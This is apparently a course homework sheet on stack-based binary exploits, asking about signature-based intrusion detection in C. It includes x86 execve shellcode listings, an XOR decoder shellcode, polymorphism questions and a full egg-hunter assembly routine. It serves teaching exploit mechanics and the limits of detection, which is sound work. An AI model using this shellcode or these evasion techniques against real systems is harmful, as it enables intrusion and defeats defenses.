SI485H Stack Based Binary Exploits and Defenses
FALL 2015

NAME:_____

HW7

COLLABORATOR(S):_____

1. Consider the simple signature matching instrusion detection scheme to the below for the next two questions:

```
int sig_check(char * p){
  for(;*p;p++){
    if (strncmp(p,"sh",2) == 0){
       return 1;
    }
  }
  return 0;
}
```

a) Will the shell code below be detected by this signature scheme or not? **Explain.**

```
8048060:   31 c9                 xor    ecx,ecx
8048062:   f7 e1                 mul    ecx
8048064:   50                    push   eax
8048065:   68 6e 2f 73 68        push   0x68732f6e
804806a:   68 2f 2f 62 69        push   0x69622f2f
804806f:   89 e3                 mov    ebx,esp
8048071:   b0 0b                 mov    al,0xb
8048073:   cd 80                 int    0x80
```

8/6/3/0

b) Will the shell code below be detected by the signature scheme or not? **Explain.**

```
8048060:   31 c9                 xor    ecx,ecx
8048062:   f7 e1                 mul    ecx
8048064:   6a 68                 push   0x68
8048066:   68 6e 2f 2f 73        push   0x732f2f6e
804806b:   68 2f 2f 62 69        push   0x69622f2f
8048070:   89 e3                 mov    ebx,esp
8048072:   b0 0b                 mov    al,0xb
8048074:   cd 80                 int    0x80
```

8/6/3/0

__/16

NAME: _____

2. Consider the signature matching scheme below:

```
int sig_check(char *str, char * sig0, char *sig1){
  char *p;
  for(p=str;*p;p++){
    if ( strncmp(p,sig0,strlen(sig0)) == 0 )
        if (strncmp(p+strlen(sig0),sig1,strlen(sig1)) == 0)
          return 1;
  return 0;
}
```

8/5/3/0

a) Provide a signatures (i.e., arugments to sig_check above) that will match both shell codes use of the excve system call. ***(note: this is not exactly the same as the signature check from the notes)***

sig_check(str, [ ] , [ ]);

b) Consider the following change to the shell code below, does your previous signature still work? If so, explain why, if not, explain why not.

```
        8048060:   31 c9                xor    ecx,ecx
        8048062:   f7 e1                mul    ecx
        8048064:   6a 68                push   0x68
        8048066:   68 6e 2f 2f 73       push   0x732f2f6e
        804806b:   68 2f 2f 62 69       push   0x69622f2f
        8048070:   b1 0b                mov    cl,0xb
        8048072:   89 e3                mov    ebx,esp
        8048074:   40                   inc    eax
        8048075:   e2 fd                loop   8048074 <_start+0x14>
8/5/3/0 8048077:   cd 80                int    0x80
```

[ ]

3. For the shell code below, does it match the signature scheme from question 1 or question 2 or both? **Explain.**

```
        8048060:   68 80 90 90 90       push   0x90909080
        8048065:   68 e3 b0 0b cd       push   0xcd0bb0e3
        804806a:   68 2f 62 69 89       push   0x8969622f
        804806f:   68 73 68 68 2f       push   0x2f686873
        8048074:   68 50 68 6e 2f       push   0x2f6e6850
        8048079:   68 31 c9 f7 e1       push   0xe1f7c931
8/5/3/0 804807e:   ff d4                call   esp
```

[ ]

__/24

NAME: _____

5/3/1/0

4. What is polymorphic shell code and how does it relate to the shortcommings of signature matching schemes?

5. What is a decoder based shell code? Is decoder based shell codes immune to signature matching schemes? **Explain.**

5/3/1/0

6. Consider the following decode base shell code:

```
8048060:   68 6f 2e 3d 4e          push   0x4e3d2e6f
8048065:   68 0c 0e a6 13          push   0x13a60e0c
804806a:   68 c0 dc c4 57          push   0x57c4dcc0
804806f:   68 9c d6 c5 f1          push   0xf1c5d69c
8048074:   68 be d6 c3 f1          push   0xf1c3d6be
8048079:   68 de 77 5a 3f          push   0x3f5a77de
804807e:   31 c9                   xor    ecx,ecx
8048080:   8b 04 0c                mov    eax,DWORD PTR [esp+ecx*1]
8048083:   35 ef be ad de          xor    eax,0xdeadbeef
8048088:   89 04 0c                mov    DWORD PTR [esp+ecx*1],eax
804808b:   80 c1 04                add    cl,0x4
804808e:   80 f9 14                cmp    cl,0x14
8048091:   7e ed                   jle    8048080 <_start+0x20>
8048093:   ff e4                   jmp    esp
```

5/3/1/0

a) what is the decode key?

5/3/1/0

b) Why is the loop comparing cl to 0x14?

15/13/10/5/0

c) Use the smallest-shell.asm for your shell code produce a decode base shell code where the decode key is 0xcafebabe:

__/35

NAME: _____

7. In an egg hunt shell code, why should the egg apear twice in the code being hunted? Why can't it apear just once?

5/3/1/0

8. Why do we use the **access()** system call in the egg hunter shell code? What are we trying to avoid?

5/3/1/0

9. In the example execution below, how does the shell code being hunted for get loaded into memory?

```
./dummy_exploit $(printf $(./hexify.sh egg_hunt)) $(printf $(./hexify.sh huntable_shell))
```

5/3/1/0

10. For the egg-hunter shell code belowm explain how jumping to **j1** will move edx ahead by a page boundry of 4096 bytes. Use the example where the access failed at addres 0xbfff0288 in your explanation.

```
SECTION .text
        global _start

_start:
        mov ebx, 0x90509050     ;store value of egg
        xor ecx,ecx             ;clear registers ecx
        mul ecx                 ;clear register edx,eax

j1:     or dx,0xfff             ;move in page boundaries by 4096 byte boundaries

j2:     inc edx,                ; move by 1

        pusha                   ;save registers on stack
        lea ebx,[edx+0x4]       ;load address 4 bytes for ebx
        mov al,0x21             ;set up access()
        int 0x80                ;system call

        cmp al,0xf2             ;compare to -14 EFAULT
        popa                    ;restore register state from stack

        jz j1                   ;if EFAULT, move in page boundary

        cmp [edx],ebx           ;check for first egg
        jnz j2                  ;jump if not there

        cmp [edx+0x4],ebx       ;check for second egg
        jnz j2                  ;jump if not there

        jmp edx                 ;found egg, jump to egg
```

10/8/5/1/0

__/25